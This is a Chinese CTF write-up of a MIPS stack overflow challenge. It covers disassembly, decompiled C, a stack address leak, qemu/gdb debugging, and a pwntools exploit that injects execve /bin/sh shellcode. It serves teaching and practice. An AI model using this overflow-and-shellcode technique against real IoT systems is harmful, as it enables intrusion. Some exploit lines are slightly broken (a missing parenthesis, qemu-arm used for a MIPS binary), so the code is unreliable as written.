这是去年HWS夏令营的一道MIPS栈溢出题目,当时连PWN都还没入门的我欠下的坑,如今一年后补坑,不过我也半年多没有真正意义上做一道PWN题了,现在重新捡起二进制,入坑IoT安全!

上题:没有开保护,是一个MIPS小端程序

image-20211107233715224

MIPS汇编函数调用结构特点(举例这里main函数的):

我的理解是:相对于x86而言,进入函数调用后,MIPS是通过专门的寄存器来保存调用之前的状态,比如这里,通过sp寄存器来分配main函数要用到的栈空间,ra用来保存调用main函数完后的返回地址,如果main函数内部不再调用子函数了,那么ra就在保存main函数的返回地址上发挥了一次作用而已,因为最后会把之前压入的返回地址又还给ra,最后jr $ra跳转到返回地址。如果main函数内有调用子函数,那么ra不光是最后作为跳转到返回地址的中间桥梁,而且中途还帮助别的函数做了一次跳板。原理和x86都是一样的,只不过MIPS多了专门的寄存器用来保存帧栈,不像x86是通过压栈出栈的方式来保存变量的栈空间和返回地址的跳转。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.text:00400AEC main:
.text:00400AEC addiu $sp, -0x28
.text:00400AF0 sw $ra, 0x20+var_s4($sp)
.text:00400AF4 sw $fp, 0x20+var_s0($sp)
.......
.......
.......
.......
.......
.text:00400BE4 addi $fp, 4
.text:00400BE8 lw $ra, 0x20+var_s4($sp)
.text:00400BEC lw $fp, 0x20+var_s0($sp)
.text:00400BF0 addiu $sp, 0x28
.text:00400BF4 jr $ra

main汇编:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
.text:00400AEC  # =============== S U B R O U T I N E =======================================
.text:00400AEC
.text:00400AEC # Attributes: bp-based frame fpd=0x20
.text:00400AEC
.text:00400AEC # int __cdecl main(int argc, const char **argv, const char **envp)
.text:00400AEC .globl main
.text:00400AEC main: # DATA XREF: LOAD:00400388↑o
.text:00400AEC # _ftext+18↑o ...
.text:00400AEC
.text:00400AEC var_10 = -0x10
.text:00400AEC var_8 = -8
.text:00400AEC var_s0 = 0
.text:00400AEC var_s4 = 4
.text:00400AEC
.text:00400AEC addiu $sp, -0x28
.text:00400AF0 sw $ra, 0x20+var_s4($sp)
.text:00400AF4 sw $fp, 0x20+var_s0($sp)
.text:00400AF8 move $fp, $sp
.text:00400AFC li $gp, 0x418E50
.text:00400B04 sw $gp, 0x20+var_10($sp)
.text:00400B08 la $v0, stdin
.text:00400B0C lw $v0, (stdin - 0x410F08)($v0)
.text:00400B10 move $a1, $zero
.text:00400B14 move $a0, $v0
.text:00400B18 la $v0, setbuf
.text:00400B1C move $t9, $v0
.text:00400B20 jalr $t9 ; setbuf
.text:00400B24 nop
.text:00400B28 lw $gp, 0x20+var_10($fp)
.text:00400B2C la $v0, stdout
.text:00400B30 lw $v0, (stdout - 0x410F18)($v0)
.text:00400B34 move $a1, $zero
.text:00400B38 move $a0, $v0
.text:00400B3C la $v0, setbuf
.text:00400B40 move $t9, $v0
.text:00400B44 jalr $t9 ; setbuf
.text:00400B48 nop
.text:00400B4C lw $gp, 0x20+var_10($fp)
.text:00400B50 lui $v0, 0x40 # '@'
.text:00400B54 addiu $a0, $v0, (a33m - 0x400000) # "\x1B[33m"
.text:00400B58 la $v0, printf
.text:00400B5C move $t9, $v0
.text:00400B60 jalr $t9 ; printf
.text:00400B64 nop
.text:00400B68 lw $gp, 0x20+var_10($fp)
.text:00400B6C lui $v0, 0x40 # '@'
.text:00400B70 addiu $a0, $v0, (aWe1c0meT0MpL0g - 0x400000) # "-----we1c0me t0 MP l0g1n s7stem-----"
.text:00400B74 la $v0, puts
.text:00400B78 move $t9, $v0
.text:00400B7C jalr $t9 ; puts
.text:00400B80 nop
.text:00400B84 lw $gp, 0x20+var_10($fp)
.text:00400B88 jal sub_400840
.text:00400B8C nop
.text:00400B90 lw $gp, 0x20+var_10($fp)
.text:00400B94 sw $v0, 0x20+var_8($fp)
.text:00400B98 lw $a0, 0x20+var_8($fp)
.text:00400B9C jal sub_400978
.text:00400BA0 nop
.text:00400BA4 lw $gp, 0x20+var_10($fp)
.text:00400BA8 lui $v0, 0x40 # '@'
.text:00400BAC addiu $a0, $v0, (a32m - 0x400000) # "\x1B[32m"
.text:00400BB0 la $v0, printf
.text:00400BB4 move $t9, $v0
.text:00400BB8 jalr $t9 ; printf
.text:00400BBC nop
.text:00400BC0 lw $gp, 0x20+var_10($fp)
.text:00400BC4 lui $v0, 0x40 # '@'
.text:00400BC8 addiu $a0, $v0, (aNowYouGetshell - 0x400000) # "Now you getshell~"
.text:00400BCC la $v0, puts
.text:00400BD0 move $t9, $v0
.text:00400BD4 jalr $t9 ; puts
.text:00400BD8 nop
.text:00400BDC lw $gp, 0x20+var_10($fp)
.text:00400BE0 nop
.text:00400BE4 addi $fp, 4
.text:00400BE8 lw $ra, 0x20+var_s4($sp)
.text:00400BEC lw $fp, 0x20+var_s0($sp)
.text:00400BF0 addiu $sp, 0x28
.text:00400BF4 jr $ra
.text:00400BF8 nop
.text:00400BF8 # End of function main

sub_400840汇编:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
.text:00400840 sub_400840:                              # CODE XREF: main+9C↓p
.text:00400840
.text:00400840 var_28 = -0x28
.text:00400840 var_20 = -0x20
.text:00400840 var_8 = -8
.text:00400840 var_4 = -4
.text:00400840
.text:00400840 addiu $sp, -0x38
.text:00400844 sw $ra, 0x38+var_4($sp)
.text:00400848 sw $fp, 0x38+var_8($sp)
.text:0040084C move $fp, $sp
.text:00400850 li $gp, 0x418E50
.text:00400858 sw $gp, 0x38+var_28($sp)
.text:0040085C li $a2, 0x18
.text:00400860 move $a1, $zero
.text:00400864 addiu $v0, $fp, 0x38+var_20
.text:00400868 move $a0, $v0
.text:0040086C la $v0, memset
.text:00400870 move $t9, $v0
.text:00400874 jalr $t9 ; memset
.text:00400878 nop
.text:0040087C lw $gp, 0x38+var_28($fp)
.text:00400880 lui $v0, 0x40
.text:00400884 addiu $a0, $v0, (a34m - 0x400000) # "\x1B[34m"
.text:00400888 la $v0, printf
.text:0040088C move $t9, $v0
.text:00400890 jalr $t9 ; printf
.text:00400894 nop
.text:00400898 lw $gp, 0x38+var_28($fp)
.text:0040089C lui $v0, 0x40
.text:004008A0 addiu $a0, $v0, (aUsername - 0x400000) # "Username : "
.text:004008A4 la $v0, printf
.text:004008A8 move $t9, $v0
.text:004008AC jalr $t9 ; printf
.text:004008B0 nop
.text:004008B4 lw $gp, 0x38+var_28($fp)
.text:004008B8 li $a2, 0x18
.text:004008BC addiu $a1, $sp, 0x38+var_20
.text:004008C0 nop
.text:004008C4 move $a0, $zero
.text:004008C8 la $v0, read
.text:004008CC move $t9, $v0
.text:004008D0 jalr $t9 ; read
.text:004008D4 nop
.text:004008D8 lw $gp, 0x38+var_28($fp)
.text:004008DC li $a2, 5
.text:004008E0 lui $v0, 0x40
.text:004008E4 addiu $a1, $v0, (aAdmin - 0x400000) # "admin"
.text:004008E8 addiu $v0, $fp, 0x38+var_20
.text:004008EC move $a0, $v0
.text:004008F0 la $v0, strncmp
.text:004008F4 move $t9, $v0
.text:004008F8 jalr $t9 ; strncmp
.text:004008FC nop
.text:00400900 lw $gp, 0x38+var_28($fp)
.text:00400904 beqz $v0, loc_400920
.text:00400908 nop
.text:0040090C move $a0, $zero
.text:00400910 la $v0, exit
.text:00400914 move $t9, $v0
.text:00400918 jalr $t9 ; exit
.text:0040091C nop

sub_400978汇编:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
text:00400978 sub_400978:                              # CODE XREF: main+B0↓p
.text:00400978
.text:00400978 var_58 = -0x58
.text:00400978 var_50 = -0x50
.text:00400978 var_3C = -0x3C
.text:00400978 var_2C = -0x2C
.text:00400978 var_8 = -8
.text:00400978 var_4 = -4
.text:00400978 arg_0 = 0
.text:00400978
.text:00400978 addiu $sp, -0x68
.text:0040097C sw $ra, 0x68+var_4($sp)
.text:00400980 sw $fp, 0x68+var_8($sp)
.text:00400984 move $fp, $sp
.text:00400988 li $gp, 0x418E50
.text:00400990 sw $gp, 0x68+var_58($sp)
.text:00400994 sw $a0, 0x68+arg_0($fp)
.text:00400998 lw $v0, 0x68+arg_0($fp)
.text:0040099C addi $v0, 4
.text:004009A0 sw $v0, 0x68+var_3C($fp)
.text:004009A4 lui $v0, 0x40
.text:004009A8 addiu $a0, $v0, (a31m - 0x400000) # "\x1B[31m"
.text:004009AC la $v0, printf
.text:004009B0 move $t9, $v0
.text:004009B4 jalr $t9 ; printf
.text:004009B8 nop
.text:004009BC lw $gp, 0x68+var_58($fp)
.text:004009C0 lui $v0, 0x40
.text:004009C4 addiu $a0, $v0, (aPrePassword - 0x400000) # "Pre_Password : "
.text:004009C8 la $v0, printf
.text:004009CC move $t9, $v0
.text:004009D0 jalr $t9 ; printf
.text:004009D4 nop
.text:004009D8 lw $gp, 0x68+var_58($fp)
.text:004009DC addiu $a1, $sp, 0x68+var_50
.text:004009E0 li $a2, 0x24
.text:004009E4 nop
.text:004009E8 move $a0, $zero
.text:004009EC la $v0, read
.text:004009F0 move $t9, $v0
.text:004009F4 jalr $t9 ; read
.text:004009F8 nop
.text:004009FC lw $gp, 0x68+var_58($fp)
.text:00400A00 lui $v0, 0x40
.text:00400A04 addiu $a0, $v0, (aPassword - 0x400000) # "Password : "
.text:00400A08 la $v0, printf
.text:00400A0C move $t9, $v0
.text:00400A10 jalr $t9 ; printf
.text:00400A14 nop
.text:00400A18 lw $gp, 0x68+var_58($fp)
.text:00400A1C addiu $a1, $sp, 0x68+var_2C
.text:00400A20 lw $a2, 0x68+var_3C($fp)
.text:00400A24 nop
.text:00400A28 move $a0, $zero
.text:00400A2C la $v0, read
.text:00400A30 move $t9, $v0
.text:00400A34 jalr $t9 ; read
.text:00400A38 nop
.text:00400A3C lw $gp, 0x68+var_58($fp)
.text:00400A40 addiu $v1, $fp, 0x68+var_50
.text:00400A44 li $a2, 6
.text:00400A48 lui $v0, 0x40
.text:00400A4C addiu $a1, $v0, (aAccess - 0x400000) # "access"
.text:00400A50 move $a0, $v1
.text:00400A54 la $v0, strncmp
.text:00400A58 move $t9, $v0
.text:00400A5C jalr $t9 ; strncmp
.text:00400A60 nop
.text:00400A64 lw $gp, 0x68+var_58($fp)
.text:00400A68 bnez $v0, loc_400AA0
.text:00400A6C nop
.text:00400A70 addiu $v1, $fp, 0x68+var_2C
.text:00400A74 li $a2, 0xA
.text:00400A78 lui $v0, 0x40
.text:00400A7C addiu $a1, $v0, (a0123456789 - 0x400000) # "0123456789"
.text:00400A80 move $a0, $v1
.text:00400A84 la $v0, strncmp
.text:00400A88 move $t9, $v0
.text:00400A8C jalr $t9 ; strncmp
.text:00400A90 nop
.text:00400A94 lw $gp, 0x68+var_58($fp)
.text:00400A98 beqz $v0, loc_400AB4
.text:00400A9C nop

Ida7.5能反汇编MIPS架构的C:

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // $a2
int v5; // [sp+18h] [+18h]

setbuf(stdin, 0, envp);
setbuf(stdout, 0, v3);
printf("\x1B[33m");
puts("-----we1c0me t0 MP l0g1n s7stem-----");
v5 = sub_400840();
sub_400978(v5);
printf("\x1B[32m");
return puts("Now you getshell~");
}

sub_400840:这里可知Username的前5个字节得为admin

1
2
3
4
5
6
7
8
9
10
11
12
13
int sub_400840()
{
char v1[24]; // [sp+18h] [+18h] BYREF

memset(v1, 0, sizeof(v1));
printf("\x1B[34m");
printf("Username : ");
read(0, v1, 24);
if ( strncmp(v1, "admin", 5) )
exit(0);
printf("Correct name : %s", v1);
return strlen(v1);
}

sub_400978:这里的read(0,v2,36)发生了栈溢出,可以溢出覆盖v3(控制v4长度的变量)和v4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __fastcall sub_400978(int a1)
{
char v2[20]; // [sp+18h] [+18h] BYREF
int v3; // [sp+2Ch] [+2Ch]
char v4[36]; // [sp+3Ch] [+3Ch] BYREF

v3 = a1 + 4;
printf("\x1B[31m");
printf("Pre_Password : ");
read(0, v2, 36);
printf("Password : ");
read(0, v4, v3);
if ( strncmp(v2, "access", 6) || strncmp(v4, "0123456789", 10) )
exit(0);
return puts("Correct password : **********");
}

上面三个函数可以分析出,main函数调用sub_400840后首先要求输入Username,开始的read函数并没有溢出,后面的strncmp判断要求前5个字符是admin才行,然后会将输入的字符的长度作为返回值传入sub_400978中,其中sub_400978的v3是第一次输入的字符次长度+4,也就是最大是30,紧接着要求输入Pre_Password,read的输入最大是36个字节长度,明显大于v2本身分配的20个字节,存在溢出漏洞,然后再要求输入一次password,最后的if可知第二次输入的和第三次输入的,分别前面得是access和0123456789,最后结束

漏洞利用思路:

  • 对于第一次输入read,可以通过构造满23个字符+\n,使得’\0’没有空位,拼接到返回的地址,这样就能够通过printf(“%s”)打印泄露调用叶子函数之前的地址了

  • 对于第二次输入read,可以通过溢出改变v3的值,因为v3是控制第三次输入字符串的长度,可以让第三次输入的字符串长度足够大溢出到覆盖返回地址并拼接shellcode

  • 对于第三次输入read,将结合第一次输入泄露的返回地址,覆盖堆栈地址和返回地址

调试:

qemu模拟运行,开1234端口:

qemu-arm -g 1234 -L . ./Mplogin

gdb动态调试

set architecture mips

set endian little

target remote :1234

对main函数开头进行断点b *0x400aec,c之后这样

结合前面的MIPS结构特点,啰嗦一次下面两条指令

第一条指令:0x400aec addiu $sp, $sp, -0x28因为MIPS是通过sp寄存器来访问函数内部的变量等,所以通过减去0x28个字节来分配main函数需要的栈空间

第二条指令:0x400af0 sw $ra, 0x24($sp)已经进入call main内部了,所以需要提前把前面ra所保存的地址给保存下来,毕竟程序不知道自己下一步还会不会调用一个相对而言的非叶子函数,如果调用的话,那么ra会用于非叶子函数,值会变为非叶子函数的返回地址,此时,前面对返回地址保存状态的意义就有了,因为到main函数快结束时,ra的值还是非叶子函数的返回地址,但因为有保存,所以ra会被重置为返回地址,再跳转到ra

image-20211108173517301

对main函数调用sub_400840前进行断点

b *0x400B88,c执行后,发现ra跟开始调用main函数时不一样,因为别忘了,题目在这之前调用过puts、printf等这类系统函数,ra可以说是上一次返回地址的一个历史记录

image-20211108212020278

进入sub_400840中,执行到输入,第一次输入:adminaaaaaaaaaaaaaaaaaaa,程序执行printf的时候会把返回地址给输出出来,这里的乱码就是返回地址(因为足够长,没有了\0,拼接到了栈中的返回地址,从而造成了泄露,具体可以看前面的反汇编出的C)

image-20211108213853566

可以查看下输入的内存数据,发现的的确确就是返回地址0x40800b90,这里的0x40800510相当于x86的ebp,0x40800b90相当于esp了

image-20211108222936846

返回地址:0x400B90

image-20211108223031148

misel shellcode:https://www.exploit-db.com/shellcodes/35868

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context.log_level = "debug"
context.arch = "mips"
context.endian = "little"
shellcode = "\xff\xff\x06\x28\xff\xff\xd0\x04\xff\xff\x05\x28\x01\x10\xe4\x27\x0f\xf0\x84\x24\xab\x0f\x02\x24\x0c\x01\x01\x01/bin/sh"
p = process(["qemu-mipsel","-L","./","./Mplogin"])
p.recvuntil("Username : ")
payload = "admin" + "a"*19
p.send(payload)
p.recvuntil("a"*19)
stack_addr = p.recv(8)
stack_addr = u32(stack_addr[4:7]
p.recvuntil("Pre_Password : ")
payload = "access" + "a"*14 + p32(0xabc)
p.send(payload)
p.recvuntil("Password : ")
payload = "0123456789" + "a"*30 + p32(0xdeadbeef) + p32(stack_addr) + shellcode
p.send(payload)
p.interactive()